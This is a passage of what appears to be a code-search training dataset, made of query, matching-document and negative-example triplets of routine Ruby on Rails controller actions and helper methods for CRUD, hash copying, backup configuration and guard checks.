"def update\n respond_to do |format|\n if @user_animal.update(user_animal_params)\n format.html { redirect_to @user_animal, notice: 'User animal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user_animal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n id = params[:id]\n @physical_rack = PhysicalRack.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_rack.attributes = params[:physical_rack]\n @physical_rack.audits << Audit.new(source: 'controller', action: 'update', admin_user: current_user)\n respond_to do |format|\n if @physical_rack.save\n format.html { redirect_to @physical_rack, notice: 'Physical rack was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @physical_rack.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /animalcontrols/1 DELETE /animalcontrols/1.json
|
def destroy
@animalcontrol.destroy
respond_to do |format|
format.html { redirect_to animalcontrols_url, notice: 'Animal Control Call-Out was successfully destroyed.' }
format.json { head :no_content }
end
end
|
[
"def destroy\n animal = Animal.find(params[:id])\n animal.destroy\n head 204\n end",
"def destroy\n @animal.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @adocao_animal = AdocaoAnimal.find(params[:id])\n @adocao_animal.destroy\n\n respond_to do |format|\n format.html { redirect_to adocao_animals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @status_animal = StatusAnimal.find(params[:id])\n @status_animal.destroy\n\n respond_to do |format|\n format.html { redirect_to status_animais_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @animal.destroy\n\n respond_to do |format|\n format.html { redirect_to animals_url }\n format.json { head :no_content }\n end\n end",
"def delete_floor_plan(args = {}) \n delete(\"/files.json/floorplan/images\", args)\nend",
"def destroy\n @animal = Animal.find(params[:id])\n @animal.destroy\n\n respond_to do |format|\n format.html { redirect_to animals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_animal = TipoAnimal.find(params[:id])\n @tipo_animal.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_animais_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @baby_animal.destroy\n respond_to do |format|\n format.html { redirect_to baby_animals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @animal_owner = AnimalOwner.find(params[:id])\n @animal_owner.destroy\n\n respond_to do |format|\n format.html { redirect_to animal_owners_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @doador_animal = DoadorAnimal.find(params[:id])\n @doador_animal.destroy\n\n respond_to do |format|\n format.html { redirect_to doador_animais_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @animal_item.destroy\n respond_to do |format|\n format.html { redirect_to animal_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n animal = Animal.find(params[:id])\n animal.destroy\n if animal.valid?\n render json: animal\n else\n render json: animal.errors\n end\n end",
"def destroy\n @aspect = Aspect.find(params[:id])\n @aspect.destroy\n\n respond_to do |format|\n format.html { redirect_to aspects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @animal_image.destroy\n respond_to do |format|\n format.html\n format.js {}\n format.json { render json: { ok: true } }\n end\n end",
"def destroy\n @json.destroy\n\n head :no_content\n end",
"def destroy\n @control.destroy\n respond_to do |format|\n format.html { redirect_to controls_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @relacion_animal = RelacionAnimal.find(params[:id])\n @relacion_animal.destroy\n\n respond_to do |format|\n format.html { redirect_to relacion_animals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @panic = Panic.find(params[:id])\n @panic.destroy\n\n respond_to do |format|\n format.html { redirect_to panics_url }\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Get the full set of configuration options for the specified backup
|
def full_options(backup_name)
backup_options = {}
# Get backup defaults
backup_options.merge!(@options[:backup_defaults].dup_contents_1_level)
# Get the specific backup definition
unless @options[:backups].has_key?(backup_name.to_sym)
@logger.fatal("The backup name specified '#{backup_name}' has no configuration defined in #{@options[:config_file]}")
raise Exception.new("Non-existent backup specified '#{backup_name}'")
end
backup_options.merge!(@options[:backups][backup_name.to_sym].dup_contents_1_level)
return nil unless backup_options[:enabled]
backup_options[:backup_name] = backup_name.to_s unless backup_options[:backup_name]
# Expand the backup host reference
selected_host = backup_options[:backup_host]
backup_options.merge!(@options[:backup_hosts][selected_host].dup_contents_1_level)
# Expand the backup type reference
selected_backup_type = backup_options[:backup_type]
backup_options.merge!(@options[:backup_types][selected_backup_type].dup_contents_1_level)
return backup_options
end
|
[
"def backup_configuration\n settings[\"backup_configuration\"]\n end",
"def get_backup_config(opts = {})\n data, _status_code, _headers = get_backup_config_with_http_info(opts)\n return data\n end",
"def backups_config\n backups_root.join fetch(:backups_config)\n end",
"def all_options\n Config::Options.all\n end",
"def zabbix_get_backup_ips\n @config[:groups].each do |group, parameter|\n if parameter[:enable]\n ips = @zabbix.get_ips_by_group(parameter[:name])\n @config[:groups][group.to_sym][:ips] = ips\n end\n end\n return @config\n end",
"def config_options\n tenant_options = global_config_options[\"tenant_options\"][Customer.current_customer.url_shortcut]\n if tenant_options.nil?\n return {}\n else\n tenant_options.tap{ |t| t[:host] = global_config_options[\"host\"] }.symbolize_keys\n end\n end",
"def options\n opts = {}\n self.configuration_options.each do |option|\n opts.merge!({option.name.to_sym => option.value})\n end\n opts\n end",
"def describe_configuration_options(options={})\n if option_filters = options.delete('Options')\n options.merge!(AWS.indexed_param('Options.member.%d', [*option_filters]))\n end\n request({\n 'Operation' => 'DescribeConfigurationOptions',\n :parser => Fog::Parsers::AWS::ElasticBeanstalk::DescribeConfigurationOptions.new\n }.merge(options))\n end",
"def get_options(circuit)\n fetch(circuit).options\n end",
"def describe_configuration_settings(options={})\n request({\n 'Operation' => 'DescribeConfigurationSettings',\n :parser => Fog::Parsers::AWS::ElasticBeanstalk::DescribeConfigurationSettings.new\n }.merge(options))\n end",
"def list_deposit_options( )\n url = \"#{self.url}/options\"\n status, response = rest_get( url )\n return status, response['options'] if ok?( status ) && response['options']\n return status, ''\n end",
"def default_config\n DefaultConfig.options\n end",
"def get_options(contexts, force = true)\n Config::Options.get(contexts, force)\n end",
"def get_full_options\n options_hash = self.get_runtime_options\n [:task_list, :version, :_exponential_retry, :prefix_name, :return_on_start, :manual_completion, :data_converter].each do |attribute|\n options_hash.merge!(attribute => self.send(attribute)) if self.send(attribute)\n end\n options_hash\n end",
"def options\n config.options\n end",
"def all\n @options\n end",
"def get_options(circuit)\n json = redis { |r| r.get(options_key(circuit)) }\n return if json.nil?\n\n JSON.parse(json, symbolize_names: true)\n end",
"def configurations()\n proxy.ListConfigurations(:configurationType => 2)\n end",
"def retrieve_options\n options = {}\n options['an'] = self.accession_number\n options['dbid'] = self.database_id\n options\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Create a deep copy of a hash This is useful for copying a hash that will be mutated
|
def deep_copy_hash hash
require_that(hash.is_a?(Hash), "deep_copy_hash requires a hash be specified, got #{hash.class}")
Marshal.load Marshal.dump(hash)
end
|
[
"def copy_hash(hashin)\n hashin.deep_clone\n end",
"def initialize_copy(orig)\n @hash = orig.to_h.dup\n end",
"def copy &alter\n Rumor.new(hash).tap &alter\n end",
"def clone_hash(value)\n if value.is_a?(Hash)\n result = value.dup\n value.each { |k, v| result[k] = clone_hash(v) }\n result\n elsif value.is_a?(Array)\n result = value.dup\n result.clear\n value.each { |v| result << clone_hash(v) }\n result\n else\n value.dup\n end\n end",
"def clone\n copy = super\n copy.keys = @keys.clone\n copy\n end",
"def deep_copy(obj); end",
"def deep_dup\n inject(self.class.new) do |new_hash, (key, value)|\n key = key.respond_to?(:deep_dup) ? key.deep_dup : key.dup?\n value = value.respond_to?(:deep_dup) ? value.deep_dup : value.dup?\n new_hash[key] = value\n new_hash\n end\n end",
"def dup\n copy = super\n copy.keys = @keys\n copy\n end",
"def copy_recursive\n copy = Hash.new\n keys.each do |k|\n value = self[k]\n copy[k] = Hash === value ? value.copy_recursive : value\n end\n copy\n end",
"def deep_copy\n Marshal.load(Marshal.dump(self))\n end",
"def deep_copy(share = [])\n r = dup\n\n case r.data\n when ::Hash\n # Copy each entry not in +share+.\n (r.data.keys - share).each do |k|\n r.data[k] = Utils.deep_clone(r.data[k])\n end\n when PDF::Core::NameTree::Node\n r.data = r.data.deep_copy\n else\n r.data = Utils.deep_clone(r.data)\n end\n\n r.stream = Utils.deep_clone(r.stream)\n r\n end",
"def deep_copy( obj )\n\t\t\t# self.log.debug \"Deep copying: %p\" % [ obj ]\n\n\t\t\t# Handle mocks during testing\n\t\t\treturn obj if obj.class.name == 'RSpec::Mocks::Mock'\n\n\t\t\treturn case obj\n\t\t\t\twhen NilClass, Numeric, TrueClass, FalseClass, Symbol,\n\t\t\t\t Module, Encoding, IO, Tempfile\n\t\t\t\t\tobj\n\n\t\t\t\twhen Array\n\t\t\t\t\tobj.map {|o| deep_copy(o) }\n\n\t\t\t\twhen Hash\n\t\t\t\t\tnewhash = {}\n\t\t\t\t\tnewhash.default_proc = obj.default_proc if obj.default_proc\n\t\t\t\t\tobj.each do |k,v|\n\t\t\t\t\t\tnewhash[ deep_copy(k) ] = deep_copy( v )\n\t\t\t\t\tend\n\t\t\t\t\tnewhash\n\n\t\t\t\telse\n\t\t\t\t\tobj.clone\n\t\t\t\tend\n\t\tend",
"def deep_copy\n Expression.new(name.deep_copy, value && value.deep_copy)\n end",
"def new_from_hash(hash)\n if hash == nil\n self.class.new.assign(self)\n else\n hash_obj = hash\n if hash.instance_of?(Hash)\n hash_obj = self.class.new\n merge_hash_into_object(hash, hash_obj)\n end\n instance = self.class.new\n object_assign(instance, hash_obj)\n end\n end",
"def deep_copy_node(oldhash)\n newhash = {}\n newhash['fqdn'] = oldhash['fqdn'] || oldhash['id'].gsub('_', '.') # Fix the fqdn, since periods couldn't be used in the databag ID.\n newhash['chef_environment'] = oldhash['chef_environment']\n begin\n newhash['chef_environment'] ||= oldhash.chef_environment # In case it's an actual Chef node and not a hash emulating one.\n rescue\n end\n newhash['rdiff-backup'] = oldhash['rdiff-backup'].to_hash\n return newhash\nend",
"def deep_copy\n new_list = RubyDS::LinkedList.new\n\n # Copy each key / value pair to the new list.\n each do |key, value|\n new_list[key] = value\n end\n\n # And just return it.\n new_list\n end",
"def deep_copy(o)\n Marshal.load(Marshal.dump(o))\n end",
"def pristine_copy\n @pristine = {}\n for key, val in self\n @pristine[key] = \n val.dup rescue val\n end\n end",
"def clone\n clone = Warehouse.new\n each_pair do |key, value|\n clone[*key] = value.dup\n end\n clone\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Require that a guard condition passes Simply checks that the guard is truthy, and throws an error otherwise
|
def require_that guard, message, return_guard = false
if not guard then
raise ExpectationFailedError.new(message)
end
if return_guard == true then
guard
elsif return_guard != false then
return_guard
end
end
|
[
"def assert cond\n fail! unless cond\n end",
"def require_that guard, message, alt_result = nil #return_guard = false\n unless guard then\n raise ExpectationFailedError.new(message)\n end\n if alt_result.nil? then\n guard\n else\n alt_result\n end\n end",
"def guarded?(options)\n guard = options[:if] || options[:unless]\n\n case guard\n when nil\n false\n when true, false\n !options[:if]\n when String\n result = shell(options.merge(cmd: guard, if: nil, unless: nil))\n if options[:if]\n result.failure?\n else\n result.success?\n end\n when Array\n handle_complex_guard(guard, options)\n else\n raise ArgumentError, \"invalid guard: #{guard.inspect}\"\n end\n end",
"def guard? machine, args\n _behavior! :guard, machine, args, true\n end",
"def valid_unless(error_key, message: nil)\n raise_condition!(error_key, message: message) if yield\n end",
"def check_condition binding\n return true if condition.nil? || condition.empty?\n condition_result =\n Evaluator.readonly_eval_expression binding, condition\n\n if condition_result.is_a?(Exception) &&\n condition_result.instance_variable_get(:@mutation_cause)\n set_error_state \"Error: #{condition_result.message}\",\n refers_to: StatusMessage::BREAKPOINT_CONDITION\n\n return false\n end\n\n\n condition_result ? true : false\n rescue StandardError => e\n set_error_state \"Error: #{e.message}\",\n refers_to: StatusMessage::BREAKPOINT_CONDITION\n false\n end",
"def ensure_clause; end",
"def protects?(thing)\n false\n end",
"def guard(guard_name, &block)\n define_method(guard_name, &block)\n end",
"def protects?(_thing)\n false\n end",
"def check_guard(message)\n guard = message.guard\n\n if guard.nil? || guard.empty?\n return true\n else\n guard.keys.all? do |key|\n value = self.__send__(\"request_#{key}\")\n if value.kind_of? Symbol\n value.to_s == guard[key].to_s\n else\n value == guard[key]\n end\n end\n end\n end",
"def may_fail # block\n begin\n yield\n rescue\n end\nend",
"def check_condition binding\n return true if condition.nil? || condition.empty?\n begin\n Evaluator.eval_condition binding, condition\n rescue\n set_error_state \"Unable to evaluate condition\",\n refers_to: :BREAKPOINT_CONDITION\n false\n end\n end",
"def assert(truthy=false)\n unless truthy || (block_given? && yield)\n file, line = caller[0].split(\":\")\n error_message = \"Assertion Failed! < #{file}:#{line}:#{ SCRIPT_LINES__[file][line.to_i - 1][0..-2] rescue ''} >\"\n raise AssertionException.new(error_message)\n end\n end",
"def assert_error_occurred\n @status.wont_equal 0\n end",
"def require(&block)\n #check if the liable class and the liable methods exist\n if not validLiables()\n return false\n end\n res = instance_eval(&block)\n \n if @condition == nil\n #behaviour when no application conditions are specified\n if res\n puts \"the contract #{@name} is respected\"\n else\n puts \"the contract #{@name} is not respected\"\n end\n else\n #behaviour when application conditions are specified\n if (res and @condition) or (not @condition)\n puts \"the contract #{@name} is respected\"\n else\n puts \"the contract #{@name} is not respected\"\n end\n end\n return res\n end",
"def refute(cond, message = nil)\n not assert(!cond, message || \"Failed refutation, no message given\")\n end",
"def check_wrapper(value, instance)\n check(value, instance) if pre_condition.check(value, instance)\n rescue StandardError\n raise Templates::Exception::ParameterConstraintException.new(self, instance, value)\n end",
"def guard(*args)\n @guard_count += 1\n super\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PATCH/PUT /user_work_skills/1 PATCH/PUT /user_work_skills/1.json
|
def update
respond_to do |format|
if @user_work_skill.update(user_work_skill_params)
format.html { redirect_to action:"index",:user_work_experience_role_id=>@user_work_skill.user_work_experience_role_id }
format.json { render :show, status: :ok, location: @user_work_skill }
else
format.html { render :edit }
format.json { render json: @user_work_skill.errors, status: :unprocessable_entity }
end
end
end
|
[
"def update\n @skill = current_user.skills.find(params[:id])\n\n respond_to do |format|\n if @skill.update_attributes(params[:skill])\n format.html { redirect_to @skill, notice: 'Skill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @skill.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n work = Work.find(params[:work_id])\n work_detail = work.work_details.find(params[:work_detail_id])\n @work_skill = WorkSkill.find(params[:id])\n\n respond_to do |format|\n if @work_skill.update_attributes(params[:work_skill])\n format.html { redirect_to [work, work_detail, @work_skill], notice: 'Work skill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work_skill.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user_skill = UserSkill.find(params[:id])\n\n respond_to do |format|\n if @user_skill.update_attributes(params[:user_skill])\n format.html { redirect_to @user_skill, notice: 'User skill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_skill.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @skill.update(basic_params)\n render json: @skill\n else\n render json: @skill.errors, status: :unprocessable_entity\n end\n end",
"def update\n @desired_skill = DesiredSkill.find(params[:id])\n\n respond_to do |format|\n if @desired_skill.update_attributes(params[:desired_skill])\n format.html { redirect_to @desired_skill, notice: 'Desired skill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @desired_skill.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @desired_skill.update(desired_skill_params)\n format.html { redirect_to @desired_skill, notice: 'Desired skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @desired_skill }\n else\n format.html { render :edit }\n format.json { render json: @desired_skill.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @skill = Skill.find(params[:id])\n\n if @skill.update(skill_params)\n head :no_content\n else\n render json: @skill.errors, status: :unprocessable_entity\n end\n end",
"def update\n @skill = current_user.skills.find(params[:id])\n\n respond_to do |format|\n if @skill.update_attributes(params[:skill])\n flash[:notice] = 'Skill was successfully updated.'\n format.html { redirect_to(user_skills_path(current_user)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @skill.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @skills_user.update(skills_user_params)\n format.html { redirect_to @skills_user, notice: 'Skills user was successfully updated.' }\n format.json { render :show, status: :ok, location: @skills_user }\n else\n format.html { render :edit }\n format.json { render json: @skills_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request_skill = RequestSkill.find(params[:id])\n\n respond_to do |format|\n if @request_skill.update_attributes(params[:request_skill])\n format.html { redirect_to @request_skill, notice: 'Request skill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request_skill.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sub_skill = SubSkill.find(params[:id])\n\n params[:sub_skill][:skill] = Skill.find(params[:sub_skill][:skill])\n\n respond_to do |format|\n if @sub_skill.update_attributes(params[:sub_skill])\n format.html { redirect_to @sub_skill, notice: 'Sub skill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sub_skill.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @required_skill.update(required_skill_params)\n format.html { redirect_to @required_skill, notice: 'Required skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @required_skill }\n else\n format.html { render :edit }\n format.json { render json: @required_skill.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @skill = Skill.find(params[:id])\n\n respond_to do |format|\n if @skill.update_attributes(params[:skill])\n format.html { redirect_to @skill, notice: 'Skill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @skill.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @create_request_skill = CreateRequestSkill.find(params[:id])\n\n respond_to do |format|\n if @create_request_skill.update_attributes(params[:create_request_skill])\n format.html { redirect_to @create_request_skill, notice: 'Create request skill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @create_request_skill.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @admin_skill = Admin::Skill.find(params[:id])\n\n if @admin_skill.update(admin_skill_params)\n head :no_content\n else\n render json: @admin_skill.errors, status: :unprocessable_entity\n end\n end",
"def update\n @skill_user_profile = SkillUserProfile.find(params[:id])\n\n if @skill_user_profile.update(skill_user_profile_params)\n head :no_content\n else\n render json: @skill_user_profile.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @professional_skill.update(professional_skill_params)\n format.html { redirect_to profile_professional_skill_path, notice: 'Professional skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @professional_skill }\n else\n format.html { render :edit }\n format.json { render json: @professional_skills.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @employee_skill = EmployeeSkill.find(params[:id])\n\n respond_to do |format|\n if @employee_skill.update_attributes(params[:employee_skill])\n format.html { redirect_to @employee_skill, notice: 'Employee skill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee_skill.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project_skill.update(project_skill_params)\n format.html { redirect_to project_skills_path, notice: 'Project skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_skill }\n else\n format.html { render :edit }\n format.json { render json: @project_skill.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /controlpltkts GET /controlpltkts.json
|
def index
@controlpltkts = Controlpltkt.all
end
|
[
"def index\n @controltltkts = Controltltkt.all\n end",
"def index\n @controlpnytts = Controlpnytt.all\n end",
"def index\n @controltnytts = Controltnytt.all\n end",
"def create\n @controlpltkt = Controlpltkt.new(controlpltkt_params)\n\n respond_to do |format|\n if @controlpltkt.save\n format.html { redirect_to @controlpltkt, notice: 'Controlpltkt was successfully created.' }\n format.json { render :show, status: :created, location: @controlpltkt }\n else\n format.html { render :new }\n format.json { render json: @controlpltkt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @controlps = Controlp.all\n end",
"def index\n @controlpnynts = Controlpnynt.all\n end",
"def index\n @tnpscs = Tnpsc.all\n end",
"def index\n @controlpgmts = Controlpgmt.all\n end",
"def index\n @controlspnnts = Controlspnnt.all\n end",
"def update\n respond_to do |format|\n if @controlpltkt.update(controlpltkt_params)\n format.html { redirect_to @controlpltkt, notice: 'Controlpltkt was successfully updated.' }\n format.json { render :show, status: :ok, location: @controlpltkt }\n else\n format.html { render :edit }\n format.json { render json: @controlpltkt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @tps = Tps.all\n end",
"def index\n @controltgmts = Controltgmt.all\n end",
"def index\n @time_controls = TimeControl.all\n end",
"def index\n @controltnynts = Controltnynt.all\n end",
"def index\n @tp_parameters = TpParameter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tp_parameters }\n end\n end",
"def fetchControlPoints(url, mapID)\n url = URI(url.to_s+'maps/'+mapID.to_s+'/control_points.json')\n response = Net::HTTP.get_response(url)\n data = response.body\n JSON.parse(data)\n end",
"def index\n @version_controls = VersionControl.all\n\n render json: @version_controls\n end",
"def index\n @pediatric_controls = PediatricControl.all\n end",
"def index\n # Retrieve kpis templates from impac api.\n # TODO: improve request params to work for strong parameters\n attrs = params.slice('metadata', 'opts')\n auth = { username: MnoEnterprise.tenant_id, password: MnoEnterprise.tenant_key }\n\n response = begin\n MnoEnterprise::ImpacClient.send_get('/api/v2/kpis', attrs, basic_auth: auth)\n rescue => e\n return render json: { message: \"Unable to retrieve kpis from Impac API | Error #{e}\" }\n end\n\n # customise available kpis\n kpis = (response['kpis'] || []).map do |kpi|\n kpi = kpi.with_indifferent_access\n kpi[:watchables].map do |watchable|\n kpi.merge(\n name: \"#{kpi[:name]} #{watchable.capitalize unless kpi[:name].downcase.index(watchable)}\".strip,\n watchables: [watchable],\n target_placeholders: {watchable => kpi[:target_placeholders][watchable]},\n )\n end\n end\n .flatten\n\n render json: { kpis: kpis }\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST /controlpltkts POST /controlpltkts.json
|
def create
@controlpltkt = Controlpltkt.new(controlpltkt_params)
respond_to do |format|
if @controlpltkt.save
format.html { redirect_to @controlpltkt, notice: 'Controlpltkt was successfully created.' }
format.json { render :show, status: :created, location: @controlpltkt }
else
format.html { render :new }
format.json { render json: @controlpltkt.errors, status: :unprocessable_entity }
end
end
end
|
[
"def create\n @tnpsc = Tnpsc.new(tnpsc_params)\n\n respond_to do |format|\n if @tnpsc.save\n format.html { redirect_to @tnpsc, notice: 'Tnpsc was successfully created.' }\n format.json { render :show, status: :created, location: @tnpsc }\n else\n format.html { render :new }\n format.json { render json: @tnpsc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @controlspnnt = Controlspnnt.new(controlspnnt_params)\n\n respond_to do |format|\n if @controlspnnt.save\n format.html { redirect_to @controlspnnt, notice: 'Controlspnnt was successfully created.' }\n format.json { render :show, status: :created, location: @controlspnnt }\n else\n format.html { render :new }\n format.json { render json: @controlspnnt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @controlqltkt = Controlqltkt.new(controlqltkt_params)\n\n respond_to do |format|\n if @controlqltkt.save\n format.html { redirect_to @controlqltkt, notice: 'Controlqltkt was successfully created.' }\n format.json { render :show, status: :created, location: @controlqltkt }\n else\n format.html { render :new }\n format.json { render json: @controlqltkt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @controltltkt = Controltltkt.new(controltltkt_params)\n\n respond_to do |format|\n if @controltltkt.save\n format.html { redirect_to @controltltkt, notice: 'Controltltkt was successfully created.' }\n format.json { render :show, status: :created, location: @controltltkt }\n else\n format.html { render :new }\n format.json { render json: @controltltkt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @controltnytt = Controltnytt.new(controltnytt_params)\n\n respond_to do |format|\n if @controltnytt.save\n format.html { redirect_to @controltnytt, notice: 'Controltnytt was successfully created.' }\n format.json { render :show, status: :created, location: @controltnytt }\n else\n format.html { render :new }\n format.json { render json: @controltnytt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @controlpnytt = Controlpnytt.new(controlpnytt_params)\n\n respond_to do |format|\n if @controlpnytt.save\n format.html { redirect_to @controlpnytt, notice: 'Controlpnytt was successfully created.' }\n format.json { render :show, status: :created, location: @controlpnytt }\n else\n format.html { render :new }\n format.json { render json: @controlpnytt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @controlpltkts = Controlpltkt.all\n end",
"def update\n respond_to do |format|\n if @controlpltkt.update(controlpltkt_params)\n format.html { redirect_to @controlpltkt, notice: 'Controlpltkt was successfully updated.' }\n format.json { render :show, status: :ok, location: @controlpltkt }\n else\n format.html { render :edit }\n format.json { render json: @controlpltkt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @controlpnynt = Controlpnynt.new(controlpnynt_params)\n\n respond_to do |format|\n if @controlpnynt.save\n format.html { redirect_to @controlpnynt, notice: 'Controlpnynt was successfully created.' }\n format.json { render :show, status: :created, location: @controlpnynt }\n else\n format.html { render :new }\n format.json { render json: @controlpnynt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @controlpnnt = Controlpnnt.new(controlpnnt_params)\n\n respond_to do |format|\n if @controlpnnt.save\n format.html { redirect_to @controlpnnt, notice: 'Controlpnnt was successfully created.' }\n format.json { render :show, status: :created, location: @controlpnnt }\n else\n format.html { render :new }\n format.json { render json: @controlpnnt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @time_control = TimeControl.new(time_control_params)\n\n respond_to do |format|\n if @time_control.save\n format.html { redirect_to @time_control, notice: 'Time control was successfully created.' }\n format.json { render action: 'show', status: :created, location: @time_control }\n else\n format.html { render action: 'new' }\n format.json { render json: @time_control.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @controlpgmt = Controlpgmt.new(controlpgmt_params)\n\n respond_to do |format|\n if @controlpgmt.save\n format.html { redirect_to @controlpgmt, notice: 'Controlpgmt was successfully created.' }\n format.json { render :show, status: :created, location: @controlpgmt }\n else\n format.html { render :new }\n format.json { render json: @controlpgmt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ptpktp = Ptpktp.new(ptpktp_params)\n\n respond_to do |format|\n if @ptpktp.save\n format.html { redirect_to ptpktps_path, notice: 'ΠΠ°ΠΏΠΈΡΡ ΡΡΠΏΠ΅ΡΠ½ΠΎ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π°.' }\n format.json { render :show, status: :created, location: ptpktps_path }\n else\n format.html { render :new }\n format.json { render json: @ptpktp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @controltgmt = Controltgmt.new(controltgmt_params)\n\n respond_to do |format|\n if @controltgmt.save\n format.html { redirect_to @controltgmt, notice: 'Controltgmt was successfully created.' }\n format.json { render :show, status: :created, location: @controltgmt }\n else\n format.html { render :new }\n format.json { render json: @controltgmt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @controltnnt = Controltnnt.new(controltnnt_params)\n\n respond_to do |format|\n if @controltnnt.save\n format.html { redirect_to @controltnnt, notice: 'Controltnnt was successfully created.' }\n format.json { render :show, status: :created, location: @controltnnt }\n else\n format.html { render :new }\n format.json { render json: @controltnnt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @controltnynt = Controltnynt.new(controltnynt_params)\n\n respond_to do |format|\n if @controltnynt.save\n format.html { redirect_to @controltnynt, notice: 'Controltnynt was successfully created.' }\n format.json { render :show, status: :created, location: @controltnynt }\n else\n format.html { render :new }\n format.json { render json: @controltnynt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @controlqnytt = Controlqnytt.new(controlqnytt_params)\n\n respond_to do |format|\n if @controlqnytt.save\n format.html { redirect_to @controlqnytt, notice: 'Controlqnytt was successfully created.' }\n format.json { render :show, status: :created, location: @controlqnytt }\n else\n format.html { render :new }\n format.json { render json: @controlqnytt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @controlp = Controlp.new(controlp_params)\n\n respond_to do |format|\n if @controlp.save\n format.html { redirect_to @controlp, notice: 'Controlp was successfully created.' }\n format.json { render :show, status: :created, location: @controlp }\n else\n format.html { render :new }\n format.json { render json: @controlp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @booking_time_control = BookingTimeControl.new(booking_time_control_params)\n\n if @booking_time_control.save\n render json: @booking_time_control, status: :created, serializer: Web::V1::BookingTimeControlSerializer\n else\n render json: @booking_time_control.errors, status: :unprocessable_entity\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
